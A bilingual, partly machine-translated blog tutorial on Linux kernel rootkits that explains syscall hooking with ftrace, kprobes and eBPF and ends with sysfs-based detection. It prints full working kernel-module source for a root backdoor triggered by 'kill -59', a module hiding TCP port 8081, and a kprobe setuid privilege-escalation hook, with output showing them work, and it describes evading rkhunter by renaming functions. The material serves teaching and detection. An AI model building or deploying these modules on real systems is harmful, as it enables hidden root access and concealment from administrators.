[机翻]Linux 内核 Rootkit 的艺术

[机翻]Linux 内核 Rootkit 的艺术

The Art of Linux Kernel Rootkits

An advanced and deep introduction about Linux kernel mode rookits, how to detect, what are hooks and how it works.
高级且深入的 Linux 内核模式 rootkit 介绍,如何检测,钩子是什么以及它是如何工作的。

原文链接:Linux 内核 Rootkit 的艺术 - inferi.club --- The Art of Linux Kernel Rootkits - inferi.club

1 - 什么是rootkit?1 - What is a rootkit?

A rootkit is malware whose main objective and purpose is to maintain persistence within a system, remain completely hidden, hide processes, hide directories, etc., in order to avoid detection.
Rootkit 是恶意软件,其主要目标和目的是在系统内保持持久性、保持完全隐藏、隐藏进程、隐藏目录等,以避免检测。

This makes its detection very complex, and its mitigation even more complex, since one of the main objectives of a rootkit is to remain hidden.
这使得其检测非常复杂,其缓解措施也更加复杂,因为 Rootkit 的主要目标之一就是保持隐藏。

A rootkit, it changes the system’s default behavior to what it wants.
rootkit,它将系统的默认行为更改为它想要的。

1.1 - 什么是内核?用户态和内核态的区别。What is a kernel? Differences between userland and kernel land.

The kernel is the core of the operating system, responsible for managing system resources and facilitating communication between hardware and software. It operates at the lowest layer of the system, for example components that operate in kernel land include the kernel itself, device drivers and kernel modules (which we call Loadable Kernel Module, short for LKM).
内核是操作系统的核心,负责管理系统资源并促进软硬件之间的通信。它运行在系统的最底层,例如在内核空间运行的组件包括内核本身、设备驱动程序和内核模块(我们称之为可加载内核模块,LKM 的缩写)。

On the other hand, the userland or userspace is the layer where user programs and applications are executed. This is the part of the OS that interacts with the user, including browsers, text editors, games, common programs that the user uses, etc.
另一方面,用户空间或用户空间是执行用户程序和应用程序的层。这是操作系统中与用户交互的部分,包括浏览器、文本编辑器、游戏、用户使用的常用程序等。

1.2 - 什么是系统调用?What is a system call (Syscalls)?

System calls (syscalls) are fundamental in OS, they allow running processes to request services from the kernel
系统调用(syscalls)是操作系统的基础,它们允许正在运行的进程向内核请求服务

These services include operations such as file management, inter-process communication, process creation and management, among others.
这些服务包括文件管理、进程间通信、进程创建和管理等操作。

A very practical example is when we write code in C, a simple hello world, if we analyze it with strace for example, you will notice that it uses sys_write to be able to write Hello world.
一个非常实际的例子是,当我们用C语言编写代码时,一个简单的hello world,如果我们用strace来分析它,你会注意到它使用sys_write来能够编写Hello world。

root@infect:~# cat hello.c ; ls hello
#include <stdio.h>

int main() {
    printf("Hello, World!\n");
    return 0;
}
hello
root@infect:~# strace ./hello 2>&1 | grep write

write(1, "Hello, World!\n", 14Hello, World!
root@infect:~#

You can also see that on the write side, it has a number 1, which is nothing less than an fd (file descriptor), which in this case is stdout, is the default output.
您还可以看到,在写入端,它有一个数字 1,它无非是一个 fd(文件描述符),在本例中是 stdout,是默认输出。

Another example is code in C to be able to rename a file to another name, in this example it is possible to see sys_rename being called.
另一个示例是能够将文件重命名为另一个名称的 C 代码,在此示例中可以看到 sys_rename 被调用。

root@infect:~# cat ex.c ; ls ex
#include <unistd.h>

int main() {
    rename("change.me", "changed.me");
    return 0;
}
ex
root@infect:~# cat change.me
teste
root@infect:~# strace ./ex 2>&1 | grep rename

rename("change.me", "changed.me")       = 0

root@infect:~# ls
changed.me  ex  ex.c
root@infect:~#

So, a system call is nothing more, nothing less than a communication interface between the user and the kernel, remembering that each syscall has a number, you can better see the syscalls in the system call table;
所以,系统调用无非就是用户和内核之间的一个通信接口,记住每个系统调用都有一个编号,可以更好地在系统调用表中看到系统调用;

1.3 - 用户空间 rootkit。Userland rootkits.

Rootkits in userland or userspace, some things are very similar to rootkits in kernel land, however, they are easier to detect and mitigate, as they are in userspace.
用户空间或用户空间中的 Rootkit,有些东西与内核空间中的 Rootkit 非常相似,但是,它们更容易检测和缓解,因为它们位于用户空间中。

Generally, when creating a rootkit in userland, the most common technique to create a rootkit in userland is the use of LD_PRELOAD, which for example, basically consists of a .so (shared object), normally loaded in “/etc/ld.so .preload”, of course there are ways to make this detection a little more difficult, but even so, it is much easier to detect and mitigate a rootkit in userland than in kernel land.
一般来说,在用户态创建rootkit时,最常见的在用户态创建rootkit的技术是使用LD_PRELOAD,例如,它基本上由一个.so(共享对象)组成,通常加载在“/etc/ld.so”中.preload”,当然有一些方法可以使这种检测变得更加困难,但即便如此,在用户态中检测和缓解 rootkit 比在内核态中要容易得多。

A very interesting article that explains how creating a rootkit in userland works is from h0mbre;
h0mbre 发表了一篇非常有趣的文章,解释了如何在用户空间中创建 rootkit;

1.4 - 内核rootkit。Kernel land rootkits.

The rootkits in kernel land, the famous LKM (Loadable Kernel Module), are certainly a headache for anyone who is going to analyze a machine infected with an LKM rootkit, they work similar to the userland rootkit, changing the system’s default behavior, to that what he wants, this is also what we call hooking syscalls.
内核空间中的 rootkit,即著名的 LKM(可加载内核模块),对于任何要分析感染了 LKM rootkit 的机器的人来说肯定是一个头疼的问题,它们的工作方式与用户空间 rootkit 类似,改变了系统的默认行为,他想要什么,这也是我们所说的hooking syscalls。

For example, when you are a regular user, without permission to access /root, among other files and directories in which you do not have permission, you can code an LKM that hooks the kill syscall “sys_kill”, so that every time when you return to the machine with a user with the lowest privilege possible, you are root (of course, as it is an LKM, you need to be root to load it).
例如,当您是普通用户时,没有权限访问 /root 以及您无权访问的其他文件和目录,您可以编写一个 LKM 来挂钩kill系统调用“sys_kill”,这样每次当您使用具有最低权限的用户返回机器,您是 root(当然,由于它是 LKM,因此您需要 root 才能加载它)。

dumbledore@infect:~$ cat hook.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include "ftrace_helper.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("et de varginha");
MODULE_DESCRIPTION("Simples Hook na syscall kill");

static asmlinkage long(*orig_kill)(const struct pt_regs *);

static asmlinkage int hook_kill(const struct pt_regs *regs){

        void SpawnRoot(void);

        int signal;
        signal = regs->si;

        if(signal == 59){
                SpawnRoot();
                return 0;
        }

        return orig_kill(regs);
}

void SpawnRoot(void){
        struct cred *newcredentials;
        newcredentials = prepare_creds();

        if(newcredentials == NULL){
                return;
        }

        newcredentials->uid.val = 0;
        newcredentials->gid.val = 0;
        newcredentials->suid.val = 0;
        newcredentials->fsuid.val = 0;
        newcredentials->euid.val = 0;

        commit_creds(newcredentials);
}

static struct ftrace_hook hooks[] = {
                HOOK("__x64_sys_kill", hook_kill, &orig_kill),
};

static int __init mangekyou_init(void){
        int error;
        error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
        if(error){
                return error;
        }
        return 0;
}

static void __exit mangekyou_exit(void){
        fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
}

module_init(mangekyou_init);
module_exit(mangekyou_exit);
dumbledore@infect:~$

The C code above is very simple, basically it declares a pointer to the original kill syscall function, so that it can be called after the hook.
上面的C代码非常简单,基本上它声明了一个指向原始kill syscall函数的指针,以便可以在hook之后调用它。

It checks if the sigkill is 59, if so, it calls the “SpawnRoot” function which basically changes its current id to 0 i.e. root, otherwise the original kill syscall function is called.
它检查 sigkill 是否为 59,如果是,则调用“SpawnRoot”函数,该函数基本上将其当前 id 更改为 0,即 root,否则调用原始的 Kill 系统调用函数。

Remembering that in the code above, I am using ftrace as a syscall hooking method.
请记住,在上面的代码中,我使用 ftrace 作为系统调用挂钩方法。

dumbledore@infect:~$ sudo insmod hook.ko
dumbledore@infect:~$ lsmod|grep hook
hook                   12288  0
dumbledore@infect:~$ id;whoami;cd /root
uid=1000(dumbledore) gid=1000(dumbledore) grupos=1000(dumbledore),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),118(lpadmin)
dumbledore
cd: permissão negada: /root
dumbledore@infect:~$ kill -59 0
dumbledore@infect:~$ whoami
root
dumbledore@infect:~$ id
uid=0(root) gid=0(root) egid=1000(dumbledore) grupos=1000(dumbledore),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),118(lpadmin)
dumbledore@infect:~$

Above, you can see that I used insmod (insert module) to load hook.ko (the .ko extension comes from kernel object, so we are inserting a kernel object).
上面,你可以看到我使用了insmod(插入模块)来加载hook.ko(.ko扩展名来自内核对象,所以我们正在插入一个内核对象)。

After being inserted, I checked that the LKM was loaded using lsmod (list modules) and it was loaded successfully.
插入后,我检查 LKM 是否已使用 lsmod(列表模块)加载,并且已成功加载。

We can see that when using “kill -59 0”, it changes your current id to 0, i.e. root, and then you have root privileges.
我们可以看到,当使用“kill -59 0”时,它会将你当前的id更改为0,即root,然后你就拥有了root权限。

So, this is one of the many ways to take advantage of the power of the kernel, hooking syscalls, changing the system’s default behavior to what you want.
因此,这是利用内核强大功能的众多方法之一,挂钩系统调用,将系统的默认行为更改为您想要的。

Below are some blog links that provide really cool learning about LKM Rootkits
以下是一些博客链接,可提供有关 LKM Rootkit 的非常酷的学习

2 - 现代hook技术。Modern hooking techniques

Over time, old methods such as hijacking the syscall table and hooking a syscall from it, VFS hooking, etc., stopped being used, even for compatibility reasons, by more “current/modern” methods, such as for example using ftrace, kprobe, and even the eBPF (Extended Berkeley Packet Filter) extension of the original BPF (Berkeley Packet Filter), it is used to attach programs to various points in the kernel, including syscalls, offering a powerful way to customize and control system behavior.
随着时间的推移,即使出于兼容性原因,诸如劫持系统调用表并从中挂钩系统调用、VFS 挂钩等旧方法也不再被更多“当前/现代”方法(例如使用 ftrace、kprobe)使用,甚至是原始 BPF(伯克利数据包过滤器)的 eBPF(扩展伯克利数据包过滤器)扩展,它用于将程序附加到内核中的各个点,包括系统调用,提供定制和控制系统行为的强大方法。

2.1 - ftrace

Ftrace is an internal tracer designed to help developers and system designers find what is going on inside the kernel. The ftrace infrastructure was originally created to attach callbacks to the beginning of functions to record and track kernel flow. But these callbacks can also be used for hooking/live patching or monitoring function calls.
Ftrace 是一个内部跟踪器,旨在帮助开发人员和系统设计人员找到内核内部发生的情况。 ftrace 基础设施最初是为了将回调附加到函数的开头来记录和跟踪内核流程而创建的。但这些回调也可用于挂钩/实时修补或监视函数调用。

Below is a code in C using the xcellerator lib ftrace_helper.h.
下面是使用 xcellerator lib ftrace_helper.h 的 C 代码。

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/tcp.h>
#include "ftrace_helper.h"

#define PORT 8081               // Defines the port to be hidden (8081)

MODULE_LICENSE("GPL");
MODULE_AUTHOR("mtzsec");
MODULE_DESCRIPTION("Hiding connections from netstat and lsof");
MODULE_VERSION("1.0");

static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);
static asmlinkage long (*orig_tcp6_seq_show)(struct seq_file *seq, void *v);

static asmlinkage long hooked_tcp4_seq_show(struct seq_file *seq, void *v)
{
    long ret;
    struct sock *sk = v;

    if (sk != (struct sock *)0x1 && sk->sk_num == PORT)
    {
        printk(KERN_DEBUG "Port hidden!\n");
        return 0;
    }

    ret = orig_tcp4_seq_show(seq, v);
    return ret;
}

static asmlinkage long hooked_tcp6_seq_show(struct seq_file *seq, void *v)
{
    long ret;
    struct sock *sk = v;

    if (sk != (struct sock *)0x1 && sk->sk_num == PORT)
    {
        printk(KERN_DEBUG "Port hidden!\n");
        return 0;
    }

    ret = orig_tcp6_seq_show(seq, v);
    return ret;
}

static struct ftrace_hook new_hooks[] = {
    HOOK("tcp4_seq_show", hooked_tcp4_seq_show, &orig_tcp4_seq_show),
    HOOK("tcp6_seq_show", hooked_tcp6_seq_show, &orig_tcp6_seq_show),
};


static int __init hideport_init(void)
{
    int err;
    err = fh_install_hooks(new_hooks, ARRAY_SIZE(new_hooks));
    if(err)
        return err;

    return 0;
}

static void __exit hideport_exit(void)
{
    fh_remove_hooks(new_hooks, ARRAY_SIZE(new_hooks));
}

module_init(hideport_init);
module_exit(hideport_exit);

Basically when the system tries to list TCP connections, tcp4_seq_show or tcp6_seq_show are called, but with hooks, these calls are redirected to hooked_tcp4_seq_show or hooked_tcp6_seq_show, which check the connection port (stored in the sock structure); if the port is 8081, the function returns 0, hiding the connection, while for the other ports the original functions are called, ensuring the normal display of the TCP connection.
基本上,当系统尝试列出 TCP 连接时,会调用 tcp4_seq_show 或 tcp6_seq_show,但是使用钩子,这些调用将被重定向到 hooked_tcp4_seq_show 或 hooked_tcp6_seq_show,它们检查连接端口(存储在 sock 结构中);如果端口是8081,该函数返回0,隐藏连接,而对于其他端口则调用原来的函数,保证TCP连接的正常显示。

dumbledore@infect:~$ nc -lvnp 8081 &
[1] 56634
listening on [any] 8081 ...
dumbledore@infect:~$
dumbledore@infect:~$ netstat -tunlpd |grep 8081
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:8081            0.0.0.0:*               LISTEN      56634/nc
dumbledore@infect:~$ lsof -i -P -n |grep 8081
nc        56634 kali    3u  IPv4 885312      0t0  TCP *:8081 (LISTEN)
dumbledore@infect:~$
dumbledore@infect:~$ sudo insmod mtz.ko
dumbledore@infect:~$ lsof -i -P -n |grep 8081
dumbledore@infect:~$ netstat -tunlpd |grep 8081
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
dumbledore@infect:~$

2.2 - kprobe

Kprobes and Kretprobes allow you to insert ‘probes’ into kernel functions at runtime without requiring any modifications to the source code. These probes can trigger the execution of defined callback functions at specific points during the execution of a monitored function. This is particularly useful for debugging, performance monitoring, and even for security purposes like detecting malicious activity.
Kprobes 和 Kretprobes 允许您在运行时将“探针”插入到内核函数中,而不需要对源代码进行任何修改。这些探测器可以在受监控函数执行期间的特定点触发定义的回调函数的执行。这对于调试、性能监控,甚至对于检测恶意活动等安全目的特别有用。

A kprobe is a kernel mechanism used to break into any kernel routine and collect debugging and performance information. A probe is inserted at a specific location in a function to perform actions like logging, modifying parameters, or even changing the control flow of the target function. Kprobes are generally used for monitoring function execution and tracing the flow of kernel code.
kprobe 是一种内核机制,用于侵入任何内核例程并收集调试和性能信息。探针插入函数中的特定位置,以执行记录、修改参数甚至更改目标函数的控制流等操作。 Kprobes 通常用于监视函数执行和跟踪内核代码流。

types of kprobe handlers: pre_handler - called before the probed function executes post_handler - called after the probed function executes but before the function returns to the caller
kprobe 处理程序的类型: pre_handler - 在被探测函数执行之前调用 post_handler - 在被探测函数执行之后但在函数返回调用者之前调用

A kretprobe is similar to kprobes but is specifically designed for functions that return a value. It is used for tracing the return of functions, which is particularly useful when you want to inspect or modify the return value of a function. Kretprobes are inserted at the point where the function returns, allowing you to monitor or alter the return value before it is passed back to the caller.
kretprobe 与 kprobes 类似,但专为返回值的函数而设计。它用于跟踪函数的返回,当您想要检查或修改函数的返回值时,这特别有用。 Kretprobes 插入到函数返回的位置,允许您在返回值传递回调用者之前监视或更改返回值。

types of kretprobe handlers: entry_handler - called before the probed function starts executing (similar to pre_handler in kprobes) handler - called after the probed function has executed and returned its value
kretprobe 处理程序的类型:entry_handler - 在被探测函数开始执行之前调用(类似于 kprobes 中的 pre_handler) handler - 在被探测函数执行并返回其值之后调用

Although kprobes and kretprobes are very useful for monitoring and debugging, attackers are able to abuse them to hook into functions in the kernel and manipulate them to behave maliciously at some point during their execution.
尽管 kprobes 和 kretprobes 对于监视和调试非常有用,但攻击者能够滥用它们来挂钩内核中的函数并操纵它们在执行过程中的某个时刻做出恶意行为。

Below I will demonstrate how this can be done: [guest@archlinux rk]$ cat kp_hook.c
下面我将演示如何做到这一点: [guest@archlinux rk]$ cat kp_hook.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/atomic.h>
#include <linux/kprobes.h>
#include <linux/sched.h>
#include <linux/capability.h>

MODULE_AUTHOR("humzak711");
MODULE_DESCRIPTION("POC kprobe hook");
MODULE_LICENSE("GPL");

atomic_t hooked = ATOMIC_INIT(0);

#define MAGIC_UID 50

#define _GLOBAL_ROOT_UID 0
#define _GLOBAL_ROOT_GID 0

void __x64_sys_setuid_post_handler(struct kprobe *kp, struct pt_regs *regs, unsigned long flags)
{
    printk(KERN_INFO "setuid hook called, elevating privs...");

    struct cred *new_creds = prepare_creds();

    /* uid privesc */
    new_creds->uid.val=_GLOBAL_ROOT_UID;
    new_creds->euid.val=_GLOBAL_ROOT_UID;
    new_creds->suid.val=_GLOBAL_ROOT_UID;
    new_creds->fsuid.val=_GLOBAL_ROOT_UID;

    /* gid privesc */
    new_creds->gid.val=_GLOBAL_ROOT_GID;
    new_creds->egid.val=_GLOBAL_ROOT_GID;
    new_creds->sgid.val=_GLOBAL_ROOT_GID;
    new_creds->fsgid.val=_GLOBAL_ROOT_GID;

    /* capabilities privesc */
    new_creds->cap_inheritable=CAP_FULL_SET;
    new_creds->cap_permitted=CAP_FULL_SET;
    new_creds->cap_effective=CAP_FULL_SET;
    new_creds->cap_bset=CAP_FULL_SET;
    commit_creds(new_creds);
}

struct kprobe __x64_sys_setuid_hook = {
        .symbol_name = "__x64_sys_setuid",
        .post_handler = __x64_sys_setuid_post_handler,
};

static int __init rkin(void)
{
    printk(KERN_INFO "module loaded\n");
    int registered = register_kprobe(&__x64_sys_setuid_hook);
    if (registered < 0)
    {
        printk(KERN_INFO "failed to register kprobe\n");
    }
    else
    {
        printk(KERN_INFO "hooked\n");
        atomic_inc(&hooked);
    }

    return 0;
}

static void __exit rkout(void)
{
    if (atomic_read(&hooked))
    {
        unregister_kprobe(&__x64_sys_setuid_hook);
        printk(KERN_INFO "unhooked\n");
    }
}

module_init(rkin);
module_exit(rkout);

The code above, initially will register a kprobe to hook the function “__x64_sys_setuid” (the setuid syscall), in the kprobe it registers it with a post handler which will be executed just as the hooked function will be about to return. When the post handler is executed, it’ll elevate the callers privileges by elevating their uid’s aswell as their gid’s and capabilities.
上面的代码最初将注册一个 kprobe 来挂钩函数“__x64_sys_setuid”(setuid 系统调用),在 kprobe 中它将它注册到一个后处理程序中,该处理程序将在被挂钩的函数即将返回时执行。当执行 post 处理程序时,它将通过提升调用者的 uid 以及 gid 和功能来提升调用者的权限。

[guest@archlinux rk]$ cat main.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
    printf("Current UID: %d\n", getuid());

    // set UID to root (0)
    setuid(0);

    printf("UID after setuid: %d\n", getuid());
    return 0;
}

And here we have some userland C code to test the setuid hook
这里我们有一些用户态 C 代码来测试 setuid 钩子

[guest@archlinux rk]$ cat Makefile
obj-m += kp_hook.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean[guest@archlinux rk]$

and now lets run this code
现在让我们运行这段代码

[guest@archlinux rk]$ make
[guest@archlinux rk]$ sudo insmod kp_hook.ko

[guest@archlinux rk]$ sudo rmmod kp_hook.ko
[guest@archlinux rk]$ make clean

[guest@archlinux rk]$ sudo dmesg
[ 8068.408831] module loaded
[ 8068.409809] hooked

[guest@archlinux rk]$ ./main
Current UID: 1000
UID after setuid: 0

[guest@archlinux rk]$ sudo dmesg
[ 8068.408831] module loaded
[ 8068.409809] hooked
[ 8354.503130] setuid hook called, elevating privs...

Usually, the userland process would not have changed its setuid to 0 since it did not run with high enough privileges, however, our registered kprobes post handler intercepted the execution of the function and elevated the processes privileges.
通常,用户态进程不会将其 setuid 更改为 0,因为它没有以足够高的权限运行,但是,我们注册的 kprobes post 处理程序拦截了函数的执行并提升了进程权限。

2.3 - eBPF

eBPF (extended Berkeley Packet Filter) is a powerful and flexible tool in Linux that allows programs to monitor various events or trace points in the kernel without needing to load a kernel module. eBPF allows you to monitor events such as system calls, network events, or specific kernel functions. It allows you to monitor and trace kernel behavior with minimal overhead, making it ideal for performance monitoring, security auditing, and debugging.
eBPF(扩展伯克利数据包过滤器)是Linux中一个强大而灵活的工具,它允许程序监视内核中的各种事件或跟踪点,而无需加载内核模块。 eBPF 允许您监视系统调用、网络事件或特定内核函数等事件。它允许您以最小的开销监视和跟踪内核行为,使其成为性能监视、安全审核和调试的理想选择。

eBPF can be used in a variety of contexts, allowing us to make use of different types of hooks. These hooks enable you to attach code to predefined kernel events, allowing you to inspect or modify the behavior of the kernel at a low level. Some common typesof hooks which you can use with eBPF are kprobes/kretprobes, tracepoints, LSM hooks, and fentry/fexit hooks.
eBPF 可以在各种上下文中使用,允许我们使用不同类型的钩子。这些挂钩使您能够将代码附加到预定义的内核事件,从而允许您在较低级别检查或修改内核的行为。可以与 eBPF 一起使用的一些常见钩子类型是 kprobes/kretprobes、tracepoints、LSM 钩子和 fentry/fexit 钩子。

For these reasons eBPF is a very widely used tool when it comes to linux security, both on the defensive side and the offensive side. eBPF is widely used by security solutions to conduct monitoring in a manner which is safe and allows them to have low level control. However, eBPF is also widely used by attackers since it gives them a large variety of different ways to hook into functions in the kernel to modify their behaviour and run malicious code.
由于这些原因,eBPF 在 Linux 安全方面是一种使用非常广泛的工具,无论是在防御方面还是在进攻方面。 eBPF 被安全解决方案广泛使用,以安全的方式进行监控,并允许它们进行低级别的控制。然而,eBPF 也被攻击者广泛使用,因为它为攻击者提供了多种不同的方法来挂钩内核中的函数以修改其行为并运行恶意代码。

Below I will demonstrate how an attacker can utilise eBPF to hook into a function in the kernel, without even requiring a kernel module.
下面我将演示攻击者如何利用 eBPF 挂钩内核中的函数,甚至不需要内核模块。

[guest@archlinux ebpf]$ cat unlinkat.c

#define BPF_NO_GLOBAL_DATA
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

char LICENSE[] SEC("license") = "GPL";

SEC("kprobe/do_unlinkat")
int kprobe__sys_unlinkat(struct pt_regs *regs)
{
    bpf_printk("hooked unlinkat");

    struct filename *name = (struct filename *)PT_REGS_PARM2(regs);
    const char *filename = BPF_CORE_READ(name, name);

    bpf_printk("intercepted filename: %s", filename);

    return 0;
}

This C code is very simple, it will utilise eBPF to hook the unlinkat syscall by using a kprobe to hook the do_unlinkat function. It will then log all filenames passed to the syscall to the bpf ring buffer.
这段C代码非常简单,它将利用eBPF通过使用kprobe来挂钩do_unlinkat函数来挂钩unlinkat系统调用。然后它会将传递给系统调用的所有文件名记录到 bpf 环形缓冲区。

[guest@archlinux ebpf]$ cat run.sh
#!/bin/bash
sudo ./ecc unlinkat.c
sudo ./ecli run package.json

(you can install ecc at https://github.com/eunomia-bpf/eunomia-bpf))
(您可以在https://github.com/eunomia-bpf/eunomia-bpf 安装 ecc)

[guest@archlinux ebpf]$ sudo bash run.sh INFO [ecc_rs::bpf_compiler] Compiling bpf object… INFO [ecc_rs::bpf_compiler] Generating package json.. INFO [ecc_rs::bpf_compiler] Packing ebpf object and config into package.json… INFO [faerie::elf] strtab: 0x4c0 symtab 0x4f8 relocs 0x540 sh_offset 0x540 INFO [bpf_loader_lib::_skeleton::poller] Running ebpf program…

[guest@archlinux ~]$ touch test.txt && rm test.txt

now lets check the bpf ring buffer - 现在让我们检查 bpf 的ring buffer

[guest@archlinux ~]$ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-13901 [001] …21 20740.285757: bpf_trace_printk: hooked unlinkat rm-13901 [001] …21 20740.285759: bpf_trace_printk: intercepted filename: test.txt

3 - LKM rootkit 检测。LKM rootkit detection

Detecting an LKM rootkit is very difficult, and mitigation is even more complex. Tools like rkhunter and chkrootkit are very obsolete because they use silly detection techniques, especially rkhunter which is signature-based, so if you take, for example, the diamorphine rootkit that is in the rkhunter database, and change the name of the functions, you can easily bypass it, including, it saves a log file in “/var/log/rkhunter.log”, in which you can see exactly the strings/signatures it search.
检测 LKM Rootkit 非常困难,缓解措施则更加复杂。像 rkhunter 和 chkrootkit 这样的工具非常过时,因为它们使用愚蠢的检测技术,尤其是基于签名的 rkhunter,因此,如果您使用 rkhunter 数据库中的二吗啡 rootkit,并更改函数名称,您可以轻松绕过它,包括它在“/var/log/rkhunter.log”中保存一个日志文件,您可以在其中准确地看到它搜索的字符串/签名。

Furthermore, I spent time studying how to detect, even more remove, an LKM rootkit that is invisible, without needing any opensource or paid tools, just using kernel features, and creating codes, in which I came to two conclusions that will be in the next chapter.
此外,我还花时间研究了如何检测甚至删除不可见的 LKM rootkit,不需要任何开源或付费工具,只需使用内核功能并创建代码,其中我得出了两个结论,这些结论将在下一章。

3.1 - sysfs

This filesystem is really good when it comes to detecting LKM rootkits. Most of them can be detected there. However, of course, it’s possible to prevent an LKM rootkit from appearing there, but the majority of them can still be detected. I will use two rootkits as examples: KoviD and Basilisk.
这个文件系统在检测 LKM rootkit 方面非常有用。其中大多数都可以在那里检测到。然而,当然,可以防止 LKM rootkit 出现在那里,但其中大多数仍然可以被检测到。我将使用两个 rootkit 作为示例:KoviD 和 Basilisk。

But before that, if the path “/sys/kernel/tracing” or “/sys/kernel/debug/tracing” does not exist, simply mount it:
但在此之前,如果路径“/sys/kernel/tracing”或“/sys/kernel/debug/tracing”不存在,只需挂载它即可:

  • mount -t tracefs nodev /sys/kernel/tracing

The first file to check is “/sys/kernel/tracing/available_filter_functions”, which lists kernel functions that can be filtered for tracing.”
要检查的第一个文件是“/sys/kernel/tracing/available_filter_functions”,其中列出了可以过滤以进行跟踪的内核函数。

dumbledore@infect:~$ sudo insmod basilisk.ko
dumbledore@infect:~$ lsmod|grep basilisk
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /sys/kernel/tracing/available_filter_functions|grep basilisk
is_bad_path [basilisk]
crc32 [basilisk]
resolve_filename [basilisk]
read_hook [basilisk]
hook_openat [basilisk]
show_refcnt [basilisk]
init_this_kobj [basilisk]
fh_kprobe_lookup_name [basilisk]
fh_install_hook [basilisk]
fh_remove_hook [basilisk]
fh_install_hooks [basilisk]
fh_remove_hooks [basilisk]
sig_handle [basilisk]
hook_seq_read [basilisk]
set_root [basilisk]
h_lkm_protect [basilisk]
h_lkm_hide [basilisk]
dumbledore@infect:~$

Another file that is very interesting is ‘/sys/kernel/tracing/available_filter_functions_addrs’ (only in kernel 6.5+). This file basically lists filterable functions with addresses.
另一个非常有趣的文件是“/sys/kernel/tracing/available_filter_functions_addrs”(仅在内核 6.5+ 中)。该文件基本上列出了带有地址的可过滤函数。

dumbledore@infect:~$ sudo cat /sys/kernel/tracing/available_filter_functions_addrs|grep basilisk
ffffffffc0de5014 is_bad_path [basilisk]
ffffffffc0de5094 crc32 [basilisk]
ffffffffc0de5100 resolve_filename [basilisk]
ffffffffc0de5224 read_hook [basilisk]
ffffffffc0de5294 hook_openat [basilisk]
ffffffffc0de5474 show_refcnt [basilisk]
ffffffffc0de54b4 init_this_kobj [basilisk]
ffffffffc0de55a4 fh_kprobe_lookup_name [basilisk]
ffffffffc0de5644 fh_install_hook [basilisk]
ffffffffc0de5744 fh_remove_hook [basilisk]
ffffffffc0de57d4 fh_install_hooks [basilisk]
ffffffffc0de5874 fh_remove_hooks [basilisk]
ffffffffc0de58c4 sig_handle [basilisk]
ffffffffc0de5944 hook_seq_read [basilisk]
ffffffffc0de5aa4 set_root [basilisk]
ffffffffc0de5c14 h_lkm_protect [basilisk]
ffffffffc0de5c74 h_lkm_hide [basilisk]
dumbledore@infect:~$

We can check ‘/sys/kernel/debug/dynamic_debug/control’, which enables/disables real-time kernel debug messages for specific modules.
我们可以检查“/sys/kernel/debug/dynamic_debug/control”,它启用/禁用特定模块的实时内核调试消息。

dumbledore@infect:~$ sudo cat /sys/kernel/debug/dynamic_debug/control |grep basilisk
/home/dumbledore/lkms/basilisk/src/ftrace_helper.c:28 [basilisk]fh_resolve_hook_address =_ "unresolved symbol: %s\n"
/home/dumbledore/lkms/basilisk/src/ftrace_helper.c:80 [basilisk]fh_install_hook =_ "ftrace_set_filter_ip() failed: %d\n"
/home/dumbledore/lkms/basilisk/src/ftrace_helper.c:86 [basilisk]fh_install_hook =_ "register_ftrace_function() failed: %d\n"
/home/dumbledore/lkms/basilisk/src/ftrace_helper.c:103 [basilisk]fh_remove_hook =_ "unregister_ftrace_function() failed: %d\n"
/home/dumbledore/lkms/basilisk/src/ftrace_helper.c:108 [basilisk]fh_remove_hook =_ "ftrace_set_filter_ip() failed: %d\n"
dumbledore@infect:~$

A great place to check is ‘/sys/kernel/tracing/enabled_functions’, which basically lists kernel functions currently enabled for tracing.
一个很好的检查位置是“/sys/kernel/tracing/enabled_functions”,它基本上列出了当前启用跟踪的内核函数。

A rootkit can hide from ‘available_filter_functions’, but it’s unlikely that an LKM rootkit using ftrace hooking will be able to hide from ‘enabled_functions’.
rootkit 可以隐藏“available_filter_functions”,但使用 ftrace hooking 的 LKM rootkit 不太可能隐藏“enabled_functions”。

dumbledore@infect:~$ sudo insmod kovid.ko
dumbledore@infect:~$ kill -SIGCONT 31337
kill: kill 31337 failed: no such process
dumbledore@infect:~$ echo hide-lkm >/proc/hidden
dumbledore@infect:~$ lsmod|grep kovid
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /sys/kernel/tracing/enabled_functions
__x64_sys_clone (1) R I     M   tramp: 0xffffffffc0ff4000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
__x64_sys_exit_group (1) R I     M  tramp: 0xffffffffc0fe9000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
proc_dointvec (1) R I     M     tramp: 0xffffffffc1033000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
__x64_sys_kill (1) R I     M    tramp: 0xffffffffc0ff6000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
account_system_time (1) R I     M   tramp: 0xffffffffc1029000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
account_process_tick (1) R I     M  tramp: 0xffffffffc1027000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
audit_log_start (1) R I     M   tramp: 0xffffffffc102b000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
